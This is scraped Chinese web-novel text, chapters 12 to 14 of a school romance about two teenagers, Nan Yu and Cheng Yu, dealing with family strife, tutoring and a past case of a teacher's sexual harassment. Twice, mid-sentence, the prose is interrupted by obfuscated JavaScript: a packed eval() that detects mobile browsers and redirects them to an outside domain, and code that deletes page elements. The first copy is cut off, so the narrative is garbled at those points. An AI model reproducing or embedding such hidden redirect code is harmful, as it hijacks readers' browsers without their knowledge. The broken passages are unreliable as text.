“一个儿子在身边娇生惯养着,另一个不闻不问,”南鱼拖长了声音,轻笑一声,“您说,他怎么没有理由恨您呢?” 程佑军被戳到心窝子,他面上有些挂不住,板着脸训斥南鱼,“你这孩子怎么说话呢?你知道我家什么情况么?这里有你说话的份么?” 说完南鱼,程佑军又恨铁不成钢地看着程遇,“你看看你交的什么朋友!” 程遇面无表情地看着眼前的男人,“我交什么样的朋友与你无关,而且,她很好。” 程佑军觉得自己快要被气死了,他指着程遇,“好!好得很!我今天就不该来接你!” 说完,程佑军转身离开。 南鱼用胳膊碰了碰程遇,“把你爸气成这样,真没事儿?” 程遇语气很淡:“没事儿。” “我先走了。” 程遇加快脚步离开。 南鱼站在原地一直看着他,程遇背影一贯挺拔,但今天无论南鱼看怎么都觉得有些悲伤。 直到程遇身影消失在转弯处,南鱼才慢吞吞地离开。 回到家,家里静悄悄的。 南鱼把书包放到房间,去奶奶屋里找她。 室内昏暗,奶奶正低着头在抽屉找什么东西。 “奶奶,你在找什么?” 南鱼猝不及防地出声,奶奶捂着心口,“哎哟,你吓死我了!” “怎么走路没声音的。” 南鱼把灯打开,白炽灯光充盈全屋,房内骤亮。 “怎么走路没声音,是你没听到,”南鱼笑道,“你找东西怎么不开灯,屋里这么黑你能找到?” “外面天还亮着呢,开什么灯,浪费电!”奶奶有些不满。 “外面天是还亮着,但窗户太小了光又照不进来。”老太太节省惯了,总是心疼电费,南鱼有些无奈。 她上前挽着奶奶的胳膊,笑道:“你再等等,等我挣到大钱了,我给你盖一个有大窗户的大别墅,让你住得舒舒服服的!” “哎哟,我孙女有孝心咯!”奶奶乐了,拍了拍她的手,“我等你那一天。” “你以后就等着享福吧!” 一会儿的功夫,南鱼把老太太哄得开开心心的。 在家吃晚饭,南鱼就去了KTV。 孙邢洲不在,刘小妹看到和她热情的打招呼。 说起上次的事情,刘小妹跟南鱼说:“洲哥说的,以后你去推酒的时候让虎哥陪你进去,他帮你端酒。” 南鱼挑眉:“他确定?虎哥往那一站不得把顾客吓跑啊。” “那总好过你受欺负强。” 南鱼知道孙邢洲的意思,他怕南鱼真的在这出事了,他到时候不好跟刘铁交代,毕竟她是刘铁介绍过来的。 南鱼点头同意了,“行。” 国庆假期前夕,KTV的人不少,但多的是一些毛头小子,真正有能力花大钱喝酒的人还是比较少。 孙邢洲在山内镇开的这家KTV其实有些类似酒吧的意思,但又不像专业酒吧那样搞那些花里胡哨的调酒,他这儿只提供瓶装的酒。山内镇小,对于一些男人来说,娱乐项目很少,来这喝酒就是为数不多的项目之一。 KTV的酒要比饭店超市的酒种类多,而且最关键的是,这里有包间,有一定的隐私性,那些男人即使带着一些姑娘们来这里也不会被外人看到,所以有些爱喝酒的男人时不时地往这边跑。 南鱼在包间陪了一会儿酒就出来了。 今天酒喝得不算多,但南鱼总觉得自己有些不舒服,她出了KTV透气,在门前之前一户人家盖房留下的石膏板上坐了下来。 身后是闪烁晃眼的霓虹灯,脚下是一片瓦砾横生的废墟。南鱼坐在那,心里有些烦闷,她从兜里拿了根烟,还没点上,旁边传来一阵脚步声。 南鱼抬头看去,头顶路灯刺眼,她不舒服地眯起了眼,只看到一个高大清瘦的影子背着光站在她面前。 “程遇?”南鱼叫他。 程遇没有说话,他盯着南鱼手里的烟看了一会儿,在她旁边坐了下来。 “烟是什么滋味儿?”程遇问。 两人离得很近,南鱼偏头打量他,在灯光下,程遇皮肤看起来很白,他的眼尾此时冷淡下垂,神色看起来恹恹的。 “你心情不好?” 程遇没有回答,片刻,他说:“能给我一根么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刘雁花看着他这副样子,有些害怕,她上前去拉程遇,“小遇,你爸爸今天也是伤心了所以才这么说,你别放心上。” “程遇。”程国升也板着张脸,不太满意程遇的做法。 “我没推他。”程遇开口。 刘雁花以为自己听错了。“什么?” “我说,我没推程宿,”程遇盯着面前的人,一字一句地说,“是他自己摔下去的。” “你还狡辩!是你王阿姨亲眼看见的!她能撒谎?”程佑军怒气冲冲指着他。 程遇轻笑了一声,他退后两步,眼底一片冰凉,“她怎么不能撒谎,从以前到现在,她撒的谎还不够多么?” “只是,你从来不看而已,或者说,你不想看到。”程遇讽刺地扯扯嘴角。 “你说什么?”程佑军暴怒,他看到角落里的扫把,拿起来就要往程遇身上打。 刘雁花拦他,“哎哟,作孽啊!小遇,你快跟你爸道歉!快!” 程遇冷冷地看了程佑军一眼,转身就离开了家。 身后一片混乱,程佑军朝他怒吼,“有种你就别回来!” 程遇顿了一下脚步,冷笑一声头也没回的走了。 程遇不知道该去哪里,他游魂一样的在街上飘荡。不知不觉,他走到了山脚的小河旁,那个他曾经和南鱼的秘密基地。 他在河边坐了许久。 再回到市区,他不自觉地走到了KTV这里。 只是没想到,他会在门口看到南鱼。 “我到现在,都还没办法保护自己。”程遇艰难地扯扯唇角,声音有些喑哑,“我是不是很没用。” 程遇弓着腰,双手放在腿上,他努力地抑制自己的情绪,神情却遮不住的黯淡。 南鱼抿了下唇,伸手轻轻地拍了拍他的肩膀。 “不,程遇,”南鱼否认,“你已经在你力所能及的范围内做到了最好。” “你不再向以前逆来顺受,你会反抗,你会说出自己面对的不公,这已经很勇敢了。” “是么?”程遇惨淡笑了笑,“可是为什么结果一点都没有改变呢?” 程国升一如既往的不相信他,他始终和王秀敏母子站在一起。 “程遇,我们还没有真正的长大,你知道吧,我们现在能做的事情很有限,或许我们现在并不会改变太多,但在未来,总有一天你会强大起来,到那时,你会改变许多事情。” “等你变得强大,那些你说过的话,你做的事,他们全都不会再敢反驳,他们会认为你说的是对的,你做的是对的。” “人都是这样,都是欺软怕硬的动物。” 程遇沉默了许久,他垂着眼眸,不知道在想什么。 南鱼知道他有些事情需要他自己思考,也没有再多说什么。 两人静静地坐在那里,南鱼抬头看天。 不知何时,头顶的月亮被一片乌云遮挡。她看着那片乌云,被风吹散又聚拢,后面的月亮,也随着乌云忽明忽暗。 良久,程遇开口。 他再次挺直脊背,转身看着身旁女生恬静的侧脸,轻声说:“南鱼,你能抱我一下么?” “就一下。” 南鱼从思绪中回神,她转身,“为什么”三个字还没有问出口。 程遇张开双臂把她拥入怀中,他把头埋在她的肩上,南鱼整个人都僵在了那。 鼻腔中溢满了程遇身上干净清爽的味道,她甚至能清楚地感受到他的心跳。 他的身体好像有些颤抖,南鱼推开程遇的手僵在了半空中,最后,她还是不忍心,手落在了他的背上。 13. 第 13 章 奶奶的药快吃完了,南鱼想带着她再去检查下身体。 奶奶这次说什么都不愿意去,她坐在床上,瞪着南鱼:“我不去!我身体好得很!去医院就是浪费钱!” 南鱼实在拿她没办法,给刘铁打了电话,听了南鱼的话后,刘铁笑笑:“你把电话给奶奶,我来和她说。” 南鱼把电话给了奶奶,刘铁不知道在对面和她说了什么,奶奶笑眯眯地收拾东西,“走,去医院!” 南鱼很好奇刘铁说了什么竟然能劝动老太太。 刘铁开车来找她们,南鱼问他:“你怎么劝动我奶奶的?” 刘铁笑笑:“这还不简单,我就说你这次去市里还要买复习资料,让你奶奶好好照顾自己,将来能看着你考大学结婚生孩子呢。” 南鱼睁大眼睛,“没了?” “我说现在国家政策好,上了岁数的老人去医院检查是免费的。”刘铁补充。 “怪不得。”南鱼笑了出声,奶奶去检查无外乎怕花钱,一听免费,自然愿意去。 南鱼带着奶奶先去医院做了检查,医生看着结果说病情控制的还可以,又给开了一个月的量交代了一句按时吃药即可。 南鱼奶奶这时候问了一句:“医生啊,这国家有规定老年人检查不要钱,那药要钱不?” 医生一脸奇怪,但看到南鱼一直朝她使眼色,她了然,笑道:“老人家,药也是免费的,您赶上好时候咯!” 南鱼奶奶乐呵呵地离开了。 南鱼松了口气,她略微感激地对医生说:“谢谢。” 医生摆摆手,“客气了。” 这种情况她见多了,因为怕花钱老人不愿意吃药看病,这个姑娘是个孝顺的,她就口头上帮一帮也挺好。 南鱼带奶奶拿了药,刘铁开车带她们回去,奶奶问:“小鱼儿,你不是要去书店买资料?” 南鱼看了眼刘铁,刘铁耸耸肩。 “是,我就准备让刘铁带我们去书店。”南鱼无奈。 “好,买资料不怕花钱,多买点,好好学习,到时候考个好大学!”奶奶抓着南鱼的手念叨,“这样你爸妈在天上知道了也会开心咯!” 刘铁开车到书店,门口不让停车,刘铁去找位置停,南鱼带着奶奶先下了车。 她们进到书店,南鱼装模作样的去高中资料区挑书。 刚到高中资料区,就听到一道熟悉的声音。 “南鱼。” 南鱼抬头看,在一排排资料书的后面,程遇站在那看她。 他手中拿了几本卷子,南鱼看了眼,上面印的高考必刷套卷。 “小鱼儿?你同学?”程遇已经拿着卷子走到她们面前,奶奶拉了拉南鱼的胳膊问。 南鱼含糊“嗯”了一声。 程遇礼貌的跟奶奶打招呼:“奶奶好,我是南鱼的同桌,叫程遇。” “哎,你好,你好。”程遇彬彬有礼,长得又端庄,老太太笑眯了眼。 “你怎么在这?”程遇问南鱼。 “买书。”奶奶在这,南鱼撒了个谎。 “买书?” “嗯。” 程遇正惊讶,奶奶拉着程遇问:“小鱼儿同桌,你学习好么?” “还可以。”程遇谦虚地回。 “你们是同桌,以后能不能多多帮助我们小鱼儿,给她辅导辅导功课。”奶奶说。 程遇笑了笑,“当然可以,南鱼有什么问题可以随时来问我。” “好!好!那老婆子我就谢谢你了!”奶奶高兴地眼角皱纹都挤在了一起。 这边聊着,那边刘铁停好车进来。 看到南鱼面前的程遇,他脸瞬间就沉下去了。 他走到南鱼旁边,奶奶笑呵呵地给他介绍:“这是小鱼儿同桌,学习成绩好,人也有礼貌,说以后好好帮小鱼儿呢!” 刘铁瞥了程遇一眼,“是么?” 程遇唇角带笑:“当然。” 感受到二人之间不同寻常的氛围,南鱼生怕两人在书店吵起来,她拉着程遇离开,“奶奶,我让程遇帮我选下资料,你和刘铁先在这里面转转,等会儿我来找你问。” 奶奶笑着说好。 刘铁黑着张脸看着他们二人身影消失在书架后面。 “你拿这套卷子。”离开他们视线,程遇从书架上取了几套卷子递给南鱼。 “不要。”南鱼瞥了一眼,拒绝。 “你不是让我帮你挑资料?”程遇挑眉。 “那是说给我奶奶听的。”南鱼转身往杂志区走。 程遇带着那几套卷子跟着她。 南鱼停在一本杂志面前,拿起来随着地翻了几页,翻到其中一页,在那页停了几秒就给合上了。 她拿起杂志去结账,程遇跟过去,把手中的卷子压在她杂志上。 “一起。”程遇对收银员说。 “我没说要卷子。”南鱼皱眉,她想要把卷子移开。 程遇的手压在上面,“这些我都要了。” 南鱼一噎,“那你把杂志给我,我自己付钱。” “一起付,多少钱?”程遇看着收银员问。 “一共五百三十元。” 程遇从兜里拿出来张几张百元大钞递过去,收银员熟练地找零。 收银员按着程遇意见把卷子都分开装好递给他。 程遇把装着杂志和卷子的袋子给南鱼,南鱼跟他置气,“我不要。” “杂志你也不要了?”程遇问。 南鱼转身就走,“你自己留着吧,我自己再去买。” 程遇拉住她的胳膊,把袋子塞到她手里,“你忘了你和你奶奶说的什么?要是她一会儿看到你没买卷子会不会生气?” 南鱼顿住了脚步,她思考了几秒,程遇说的也对,她转身,“那我把钱给你。” “不用。”程遇拒绝。 南鱼还想说什么,余光看到程佑军带着刘雁花往这边来,南鱼身影一闪,什么没说就离开了。 程遇还没反应过来,刘雁花叫他,“小遇,买好资料了么?” 听到她声音,程遇转身,不咸不淡地点头,“好了。” “行,好了就走吧,你爷爷都饿了,我们去吃饭。”刘雁花作势要帮他提袋子,程遇躲开了。 “我自己拿。” 南鱼躲在书架后,看着程遇和他们离开。 他们走后,南鱼从书架后面出来。 刘铁不知道什么时候站在了她身后,“还真买了资料?” 南鱼低头看了眼袋子里的卷子,“嗯”了一声,“都和奶奶说的来买资料,总不能空手回去。” 刘铁笑了一下,“早知道不用这个理由了。” “晚了。”南鱼朝他翻了个白眼。 买完资料,刘铁带着她们在附近吃饭。饭钱是南鱼出的,刘铁没有拒绝。 吃过饭,他们就往山内镇回。 走到半道,他们遇到了停在路边修车的程佑军。 程遇和刘雁花以及程国升都在路上站着。 刘铁从后视镜看了眼南鱼,问:“要帮他们么?” 南鱼想起程佑军和刘雁花对她的讨厌程度,有些纠结。 奶奶透过车窗看到他们,“那不是小鱼儿同桌,他们的车好像坏了,小铁你不是会修车,咱去帮帮他们吧?” 老太太发话,刘铁断然是没有拒绝的道理,他点了下头,“行。” 刘铁把车停在路边,下车走过去。 “车坏了?” 程佑军不认识他,只当他是热心帮助人的陌生人,“对,走到半路熄火了,怎么也打不着。” 他从兜里掏了根烟递过去,刘铁接着叼在嘴里。 “我来看看。”刘铁打开车子前盖检查。 “电瓶没电了,”没一会儿,刘铁抬头拍拍手说,“我车上有应急电源,给你拿过来。” 程佑军感激,“谢谢!” 刘铁挥手说不用谢,他经过程遇时也只是淡淡地瞥了他一眼。 刘铁回去拿东西,程遇跟着他看过去,车上隐约可见有一个女生的影子。 刘铁很快吧应急电源拿了过来,三两下接好,他把车盖合了下来,“好了。” “谢谢你帅哥!真是多亏遇见你了!要不是我都得打修车电话了!”程佑军再次感谢,“你看一下多少钱?我给你转。” 刘铁看看程遇,摆手,“不用。” “怎么能不用呢?”程佑军坚持要给钱。 “你儿子和我有些交情,这次就当是还回去了,”刘铁说,“我是镇口那家修车店的,回去了你可以去我店里我再给你检查检查。” “行。” 刘铁回到车里,开着车离开了。 经过他们时,程佑军在车里看到了南鱼的脸,他表情僵了一下。 “修好了?我们可以走了吧?”刘雁花走过去问。 “可以了,妈,你先上车。”程佑军点了根烟站在那。 刘雁花看他抽烟,又嘟囔了两句上了车。 程佑军叫住也正准备上车的程遇。 “以后不要和他们有任何联系。”程佑军命令程遇。 他们指的是刘铁和南鱼。 程遇会意,讽刺地笑了声,“人家刚才帮了你。” “这是两码事儿。”程佑军意味深长地看了他一眼,“他们可不是什么好人。” 程遇冷笑,“好不好我自有我的评判标准。” 说罢,转身上了车。 程佑军皱眉,他看着自己叛逆的儿子,把烟丢在地上,狠狠踩灭。 * 自那天后,南鱼在这个国庆没有再见到程遇。 她每天按部就班,白天陪奶奶,偶尔去刘铁那坐坐,晚上去KTV,也没空想那些有的没的。 开学后,徐奇在早自习课上宣布了此时就要进行高二第一次月考,班里一片哀嚎。 “假期前就告诉你们回来要考试,这次我得看看谁成绩下降了,到时候咱办公室见。”徐奇捧着保温杯不疾不徐地说着威胁的话。 底下又一阵哀嚎。 徐奇离开后,班内嘈杂声越来越大,刚开学,哪怕是要考试,大家也很难静下心学习。 相比大多数人的浮躁,程遇仍旧如往常一样稳坐如山地做题。 他往旁边看一眼,南鱼正低头看杂志。 程遇皱了下眉,敲了敲她的桌子问:“你卷子呢?” 南鱼从杂志中抬头,“什么卷子?” “那天我们一起买的卷子。” “哦,那个,”南鱼一脸不在意的说,“我放家里了。” 程遇:“……” “你考完试拿来,先做一套我看一看。” 南鱼瞥他,“不想做。” “我答应你奶奶了,帮你辅导功课。” “我又没同意,我不做,要做你做,我把卷子还给你。” 说完,下课铃响起,南鱼“噌”地一下起身,头也不回往教室外走。 “南鱼,”程遇叫她的名字,“你为什么不学习,能给我一个理由么?明明你语文课听的那么认真,你应该是能静下心学习进去的。” 南鱼顿了一下脚步。 回过身朝他揶揄地笑了一下,“不是每个人都像你一样喜欢学习,大、学、霸。” “我知道原因。” 南鱼走后,程遇听到有人这么说。 他朝声音方向看过去,万以荣站在他的面前。 他沉了沉眼眸。 “别用这种眼神看我,我认识南鱼可比你早。”万以荣笑了一声,居高临下地看他。 程遇没有说话,但表情有所松动。 “如果你想知道的话今天放学后就在教室等我一会儿,我去给徐奇送了作业就过来。”万以荣也不在意他到底有没有听进去,冲他摆了下手就回自己座位了,“信不信由你。” 程遇眯了下眼,似乎在琢磨她话的可信度。 思考了一天,他放学还是留在了教室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283282|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 万以荣半个多小时才从办公室回来,她回来时,教室里已经没人了,程遇一个人坐在那里低头看书。 万以荣走到万高达的位置,拉开椅子坐了下来,她敲了敲程遇的书桌。 程遇抬头,万以荣笑着说,“等很久了吧,看来你确实挺关心南鱼的。” 程遇冷着张脸:“说吧。” “我想想从哪开始说。”万以荣手托着下巴,陷入了回忆。 程遇合上了书,坐在那静静等待着。 万以荣说,那是初三时候的事情。 那个时候南鱼还不是像现在这个样子完全不学习,她和南鱼一个班级,因为南鱼经常和男生打架,而且次次都能打赢,所以她对南鱼很有印象。 而那个时候的万以荣性格还比较内敛,她数学成绩很好,当时是数学课代表。因为是课代表,所以她跟数学老师张寻接触比较多。 刚开始张寻对她的态度还很客气,后来,不知道从什么时候开始,张寻看她的眼神越来越不对劲儿,她去送作业的时候会无意间触摸她的手,找他问题的时候他会若有若无的给她整理头发。 万以荣很害怕,但她不敢跟家里人说,因为张寻公认的形象很好,是个很正派的人。而且,张寻也有家室,她怕她把这事儿说出来后会有人骂她是她勾引他。 而且万一是她误会了呢?所以当时的万以荣沉默了,只是疏远了张寻。 不过没想到,她越躲,张寻越过分,他开始频繁的以各种理由叫她去办公室,她拒绝了好多次,但因为是课代表,总有不能拒绝的时候。 她去办公室的时候,张寻每次都关门,万以荣很害怕。次数多了,终于有一天放学后,万以荣在学校做完作业时已经有些晚了。 张寻遇到她,又把她叫到了办公室,这一次照样关上了门。 张寻刚开始和她好好在说话,可是说着说着,就对她动手动脚,最后根本连装都不装,直接抱住了她亲她的脖子。 万以荣吓疯了,她尖叫着推开他,在办公室喊救命,但是时间已经有些晚了,没有学生也没有老师从这边经过。 就在万以荣有些绝望的时候,南鱼踹门闯了进来。 万以荣永远也忘不了那天,南鱼像个勇士一样把张寻揍了一顿,带着她离开了那里。 万以荣那天哭的不行,南鱼冷着脸问她为什么不告诉家长,万以荣说她害怕,害怕别人说她不要脸。 南鱼不知道被勾起了什么回忆,她沉默了许久,说她会帮她。 也不知道南鱼用了什么手段,张寻从那天后再也不缠着她了,万以荣松了口气。 但她注意到南鱼和张寻关系走近之后,她的心又提了起来。 她跑去问南鱼为什么要和张寻走这么近,南鱼只是冷声对她说让她不要管。 万以荣劝不动她,只能默默关注她希望她不要出事。 后来有一天,南鱼衣衫不整地从张寻办公室跑了出来,大喊救命。 万以荣心都提到嗓子眼了,她记得那天来了好多人,有警察,有学校领导。 他们在办公室谈了好久,最后南鱼面无表情地冲出办公室,张寻也没得到任何惩罚。 万以荣后来才知道,那天在场的所有老师都在维护张寻,他们都不相信张寻能做出这样的事情。 其中一个女老师骂她骂的最凶,说她就是不要脸,是个骚货,是她勾引张寻,张寻才做出这样的事。那女人还说,南鱼就跟她妈一样,都是狐狸精专勾引别的男人。 万以荣不知道南鱼妈妈是什么事情,但她知道,她最担心的事情还是发生了。 加害者没得到处罚,受害者被指指点点。 但南鱼根本就不在意别人对她怎么看,无论别人怎么说她都无所谓。 万以荣看不下去了,她要站出来指控张寻,南鱼知道拦住她,她不会忘记南鱼对她说的话。 你清清白白的,不要掺合进来,他们本来就看不起我,再往我身上多加一条罪名也无所谓。 她说她无所谓,万以荣当时就哭了起来,她最终还是没有站出来。 从那天开始,南鱼不再学习了,可能是因为对老师彻底失望了。 那天,她站在那里,孤立无援,那些被尊为师表的人没有一个人帮助她,他们都站在了道德的对立面,任凭她被污蔑被审判,他们一副恶人嘴脸,甚至恨不得吐两口吐沫到她身上。 从那天起,南鱼看透了这些人,道貌岸然,虚伪至极。 她开始厌恶这个职业,她认为所有的老师都这样,既然老师都是这样,那么这个世界还会好么? 她为什么要跟着这群人学习呢? 后来,是宁倩老师拉她出了泥潭。 南鱼的事情被宁倩老师知道,她主动过来找南鱼了解情况。南鱼刚开始很抵触她,宁倩坚持不懈地围在她身边。 终于,宁倩取得了南鱼的信任,她经过努力,终于找到张寻的罪证,把他送进了监狱。 “这也是为什么南鱼唯独只愿意听宁倩老师讲课的原因。”故事讲完,万以荣坐正了身体,“所以程遇,如果你真的能帮南鱼学习,请你一定要帮她。” 南鱼的事情其实也是一根刺梗在她的心头,她和宁倩也不是没去劝过南鱼,可是根本没用。 程遇听完这件事沉默了许久。 他完全想不到在他离开山内镇以后南鱼经历了真多事情。 那个时候没人站在她身边,她一定很孤单很害怕吧。 程遇突然很后悔,如果当初他没离开这里就好了。 “程遇,拜托你。”万以荣诚恳地看着他。 她觉得南鱼对程遇的态度好像不太一样,或许程遇真的能帮南鱼走出来。 “不用,”程遇表情淡然,“就算你不拜托我,我也会这么做。” 万以荣看了他许久,忍不住问他:“为什么?” “因为她是南鱼。” 只是因为是她,所以他做什么事情都甘之如饴。 14. 第 14 章 月考后没几天成绩就出来了。 徐奇拿着成绩单,精神抖擞地进了教室。 年级第一第二全出在他们班,徐奇做梦都要笑醒了。 尤其是第一名。 徐奇拿着成绩单站在讲台上眼睛发亮。 他毫不吝啬地搜肠刮肚地把他能想到的所有对好学生称赞的话都用在了程遇身上。 “咱班程遇年级第一,不仅如此,他还是断层第一,他高了第二名一百多分,取得了732分的好成绩。” “……” 这是山内镇一高历史上头一回出过这么高成绩的学生,徐奇此刻太感谢程遇转到他的班级上了。 程遇成绩一出,他可好一番扬眉吐气。 万高达听到这成绩,不等徐奇离开教室他就转过身一阵感叹:“哥们儿,你怎么考的?你是神人吧,牛逼死了。” 程遇脸上没太大表情波动,似乎已经习以为常。 万高达对他竖了个大拇指,“神,以后你就是我唯一的神。” 徐奇在讲台上表达完对程遇的夸赞,接着就把成绩单交给万以荣,让万以荣贴到教室后面。 一下课,班上的同学蜂拥到后面看成绩。 程遇的成绩除了语文和英语扣了一点分以外,其他课课满分,人群中时不时地发出惊叹声。 程遇无视身后多道目光的打量,他向南鱼伸手,“你的卷子呢?” “干嘛?”南鱼警惕地看他。 “我看一下,”程遇说,“给你分析一下错题。” “不用。”南鱼拒绝。 程遇手仍旧伸在她面前,坚持说:“我看一下,很快给你。” 南鱼皱起眉头,“你怎么这么喜欢多管闲事呢?” “是,”程遇点了下头,随即,他又补充了一句,“只喜欢管你的闲事。” “不需要!” “......” 程遇还是没有要到南鱼的卷子,似乎是怕他偷拿一样,放学后,南鱼把卷子装到书包里带走,先程遇一步离开教室。 出了校门,南鱼没有直接回家,她和刘德旋以及刘愿生一起去了趟网吧。 这次一同去的还有几个已经辍学的之前也经常和南鱼混在一起地几个男生。 新的一月,南鱼把新稿子照旧发到木头的邮箱。 发完邮箱,她在网吧和他们打了几局游戏才回去。 游戏赢了几局,南鱼回家的步伐轻快。 她心情很好的推开门,看到院子里的人一下子愣在了那。 “哎,小鱼儿你回来了!”奶奶刚端出来饭菜在桌子上,向她招手,“快过来洗手吃饭,小遇等你很久啦!” 南鱼皱眉,朝她走过去,“他怎么在我们家?” “小遇说要给你辅导功课呢!”奶奶笑眯眯的。 “我不需要!”南鱼凶巴巴地看着坐在饭桌面前不请自来的程遇,“谁让你在我家吃饭了!” 程遇慢悠悠地抬头,“是奶奶让我留下来的。” “是我让他留下来吃饭的!你这孩子,人家好心来帮你,你怎么说话呢!”奶奶有些生气地拍了拍南鱼后背。 “奶奶,你胳膊肘往外拐。”南鱼委屈巴巴的。 “什么往外拐,快去洗手,就等你了!”奶奶说,“吃完饭小遇你俩一起写作业!” 奶奶完全站在程遇那边,南鱼憋屈地去洗手吃饭。 饭桌上,南鱼一直偷偷地瞪程遇,程遇跟没看见一样,默默吃饭。 南鱼气的牙痒痒,她愤愤地吃饭。 饭桌上炒了两道菜,一道炒土豆丝,一道辣椒炒肉。 南鱼觉得今天的辣椒炒肉意外的炒的不错,她多吃了好多饭。 奶奶注意到,笑呵呵地问她,“辣椒炒肉好吃吧!” “好吃!”南鱼立马转到夸夸模式,“你炒的真好吃!” “这道不是我炒的,”奶奶笑着说,“是小遇炒的。” “......”南鱼夹菜的手停在了半空中。 她去看程遇,后者神色淡然, 南鱼愤愤地又夹了两筷子。 哼!他炒的又怎样!反正她是不会跟他学习就对了! 吃完饭,程遇帮着收拾桌子,奶奶拦住他,“不用,你和小鱼儿去屋学习去!” “小鱼儿,你带程遇去你房间。”奶奶吩咐她。 “怎么能让男生进我房间?”南鱼没好气地说,“男女有别!” “去!快去!”奶奶催促她,“你房间我给你收拾的很干净!” 奶奶半推着她进屋,她把两人安顿在书桌面前,才去收拾院子。 程遇把这次考试的卷子拿了出来放到书桌上,看着南鱼,“你的卷子呢?拿出来吧。” “扔了。”南鱼伸了个懒腰,从床上随手拿起来一个娃娃抱在怀里发呆,一副你能拿我如何的样子。 “是么?”程遇弯了下唇,“我刚才和奶奶说我们考完试了,今天把卷子发了下来,我来就是为了给你讲卷子。” “奶奶说她今天想看一看你卷子,你猜,她在外面忙完会不会过来找你?” 南鱼:“......” “你太卑鄙了!”南鱼咬牙切齿。 “过奖,”程遇淡淡一笑,“我们就先从数学卷子开始看。” 南鱼不情不愿地从书包中拿出来数学卷子。 程遇拿过来仔细先看了一遍,然后挨讲错题。 “......所以这道题结果是a=4。” 程遇在演草纸上写下全部步骤,停笔瞥了一眼南鱼,南鱼兴致恹恹,她趴在桌子上,拿铅笔有一下没一下地戳着书桌。 “你听懂了么?”程遇把笔放了下来。 南鱼敷衍地点头,“懂了。” “那你给我讲一遍。”程遇面不改色。 “......”南鱼瞪了他一眼,装都不装了直接摆烂,“听不懂,不想听,好麻烦。” “这道题不难,我再给你讲一遍。”程遇淡然地拿起笔,把演草纸往南鱼那边放了放,“已知两条直线L1和L2互相垂直,L1是3x+y-5=0,L2......” 程遇将题目又完完整整的讲了一遍,他抬头,再次问:“明白了么?” 南鱼故意作对似的,“没。” 程遇把笔“啪”地一下放到桌子上,认真地看着南鱼。 南鱼挑眉,“怎么了?教不下去了吧。” 程遇起身往门外走,南鱼挑衅地对着他的背影说,“看你以后还会管不管我闲事!” 程遇停顿了一秒,快步出了南鱼房间。 他走后,南鱼气定神闲地从桌子上拿了一本杂志,舒舒服服地靠在椅背上看。 没多会儿,门外传来一阵脚步声,接着门被打开,南鱼头都没抬地说,“还要继续么?反正我是不会学的。” 奶奶进来听到她这话,走过去朝着她的背就是两巴掌,“我让你和小遇学习呢!你这是在干什么?把你那乱七八糟的书给我收起来!” 奶奶的巴掌不重,南鱼立马把杂志放好,坐正身体,“奶奶,你怎么进来了?” “我给你们洗了点水果,”奶奶把果盘往桌上一放,坐在了床上,“今天我看着你学习!” “不是吧,”南鱼瞪大眼睛,余光瞥到站在门口的程遇,怒气冲冲,“你怎么能这样!” 程遇走进来,“我怎么了?” “你去搬救兵!”南鱼指着他,“你无耻!” 奶奶朝着她的背又是一巴掌,“怎么说小遇呢?” “......”南鱼不服,“奶奶,到底谁是你孙女?你怎么老是帮他。” “因为你没人家听话!”奶奶赞赏地看程遇,“瞧瞧人家!全年级第一!要是他真是我孙子就好咯!” 南鱼心中憋气,但碍于奶奶在场,她只能狠狠地瞪程遇。 “我们继续讲。”程遇把卷子捞过来,无视南鱼的眼神,气定神闲地继续讲题。 有奶奶在一旁看着,南鱼不敢造次,她只能听程遇讲题。 南鱼错题实在有点多,讲到将近十点,也才讲了一半。 他收拾着书说:“明天我们接着讲。” 南鱼咬牙:“明天我有事。” “你能有什么事,明天给我早点回来!”奶奶不满道。 “我真有事,”南鱼说,“我要兼职。” “你兼职辞咯!挣钱的事用不着你!”奶奶说。 南鱼皱着脸:“奶奶!” “没事儿,我明天可以在学校里给你讲题。”程遇收拾完东西说。 南鱼:“?” “我没时间!” 奶奶拍板决定:“就这么说好了!明天回来我检查你卷子,你必须好好听小遇讲课!” “.....奶奶。” “别撒娇,没用!” 奶奶让南鱼把程遇送门口,南鱼站在大门,看着程遇的眼神恨不得上去咬他两口。 “赶紧滚!”南鱼一点都不想看见他。 “我走了,明天带上卷子。”程遇手放在书包肩带上看她。 “我知道,”南鱼翻了个白 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她前两天装头疼,程遇先是看了她一眼,然后去药店买了瓶风油精涂在她太阳穴上,可把她给熏了个半死。 “那就没办了,”刘德旋说,“要不然你就真生病吧。” 南鱼看了他一眼,叹气:“我倒想啊!” 说生病,南鱼在体育课上跑了八百米之后肚子就隐隐约约有些不舒服。 她蹲在地上,脸色苍白。 刘念娣注意到,跑过去小声问她:“你怎么了?” 南鱼摇头:“没事儿,可能是来姨妈了。” “你身上带卫生巾了么?”南鱼问她。 “没有,”刘念娣说,“要不我帮你去买吧。” 南鱼拒绝:“不用,我自己去买。” 她起身,却突然感觉眼前一黑,南鱼身影晃了一下就要往地上摔。 “南鱼!”刘念娣惊呼一声。 一道身影快速朝她跑来,迅速拉她了一把。 南鱼站稳,是程遇。 南鱼脸白的可怕,程遇皱眉说:“我先扶你去坐那休息会儿。” 南鱼没有力气甩开他,任凭程遇扶着她坐在台阶上。 “你怎么了?哪里不舒服?”程遇问。 南鱼咬着唇不说话。 刘念娣跟着过去,“我去帮你买吧。” 南鱼疼的实在没办法,点点头,“好。” 刘念娣走了一半,突然想起来自己身上没钱,她脸红地回去,不好意思地说:“我身上没钱。” 南鱼从兜里掏钱给她,却发现自己也没有带钱。 她不得不看向程遇。 “买什么?我去买吧。”程遇站起来说。 刘念娣红着脸不说话。 程遇看向南鱼,南鱼说:“让她帮我买。” 程遇突然一下子明白了,他看着南鱼,“我知道了,没事儿,我去买。” 说着,转身就出了操场。 